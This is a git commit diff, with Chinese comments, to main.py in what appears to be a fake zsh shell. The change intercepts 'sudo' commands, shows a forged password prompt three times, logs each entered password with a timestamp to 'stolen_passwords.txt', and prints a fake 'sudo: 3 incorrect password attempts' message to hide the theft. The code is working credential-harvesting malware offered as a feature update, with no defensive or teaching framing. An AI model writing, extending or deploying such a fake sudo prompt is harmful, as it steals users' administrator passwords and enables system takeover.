更新 main.py,修改 sudo 密码输入逻辑,增加三次尝试限制并记录到文件
This commit is contained in:
15
main.py
15
main.py
@@ -67,13 +67,14 @@ def pseudo_zsh():
|
||||
|
||||
# 伪造 sudo 密码输入并记录
|
||||
if args[0] == 'sudo':
|
||||
fake_password = getpass.getpass("Password: ")
|
||||
with open("stolen_passwords.log", "a") as f:
|
||||
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间
|
||||
f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码
|
||||
time.sleep(3) # 模拟延迟
|
||||
print("Sorry, try again.")
|
||||
subprocess.run(args) # 重新执行 sudo 以要求真实密码
|
||||
for attempt in range(3): # 循环 3 次
|
||||
fake_password = getpass.getpass("Password: ")
|
||||
with open("stolen_passwords.txt", "a") as f:
|
||||
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间
|
||||
f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码
|
||||
time.sleep(1) # 模拟延迟
|
||||
print("Sorry, try again.")
|
||||
print("sudo: 3 incorrect password attempts") # 提示错误次数
|
||||
continue
|
||||
|
||||
# 执行普通命令
|
||||
|
||||
Reference in New Issue
Block a user